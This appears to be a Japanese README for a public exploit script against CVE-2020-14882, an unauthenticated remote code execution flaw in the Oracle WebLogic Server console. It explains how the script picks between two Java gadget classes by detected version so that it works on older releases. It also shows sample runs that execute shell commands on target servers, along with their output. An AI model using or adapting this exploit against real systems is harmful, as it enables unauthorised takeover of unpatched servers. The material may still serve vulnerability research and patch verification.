
CVE-2020-14882
CVE-2020-14882
Oracle Fusion Middleware の Oracle WebLogic Server 製品における脆弱性(コンポーネント: Console)。影響を受けるサポート対象バージョンは 10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0、14.1.1.0.0 です。容易に悪用可能な脆弱性により、ネットワークアクセスを持ち HTTP 経由で認証されていない攻撃者が Oracle WebLogic Server を侵害する可能性があります。この脆弱性の悪用に成功すると、Oracle WebLogic の乗っ取りにつながる可能性があります。
Oracle WebLogic のバージョンが 12.2.1 より前の場合、クラス 'com.tangosol.coherence.mvel2.sh.ShellSession' が利用できないため、クラス 'com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext' を使用する必要があります。スクリプトは検出されたバージョンに応じて、これら2つのクラスを自動的に切り替えてコマンド実行を行います。
現在 GitHub で CVE-2020-14882 を悪用するために利用可能なスクリプトの中には、クラス 'com.tangosol.coherence.mvel2.sh.ShellSession' のみをサポートしているものがあり、その場合 WebLogic バージョン 10.3.6.0.0 および 12.1.3.0.0 ではスクリプトが失敗します。
% python3 CVE-2020-14882.py -u http://172.16.164.134:7001 -c 'uname -r > /tmp/success' -i 172.16.164.1
[*] http://172.16.164.134:7001/console/login/LoginForm.jsp [version 12.1.3.0.0]
[*] Using: com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext
172.16.164.134 - - [25/Feb/2021 20:55:36] "GET /test.xml); HTTP/1.1" 200 -
172.16.164.134 - - [25/Feb/2021 20:55:36] "GET /test.xml); HTTP/1.1" 200 -
172.16.164.134 - - [25/Feb/2021 20:55:36] "GET /test.xml); HTTP/1.1" 200 -
% python3 CVE-2020-14882.py -u http://127.0.0.1:7001 -c 'uname -r' -i 172.16.164.1
http://127.0.0.1:7001/console/login/LoginForm.jsp
[*] http://127.0.0.1:7001/console/login/LoginForm.jsp [version 12.2.1.3.0]
[*] Using: com.tangosol.coherence.mvel2.sh.ShellSession
Linux 96fc5d43736b 4.19.121-linuxkit #1 SMP Tue Dec 1 17:50:32 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux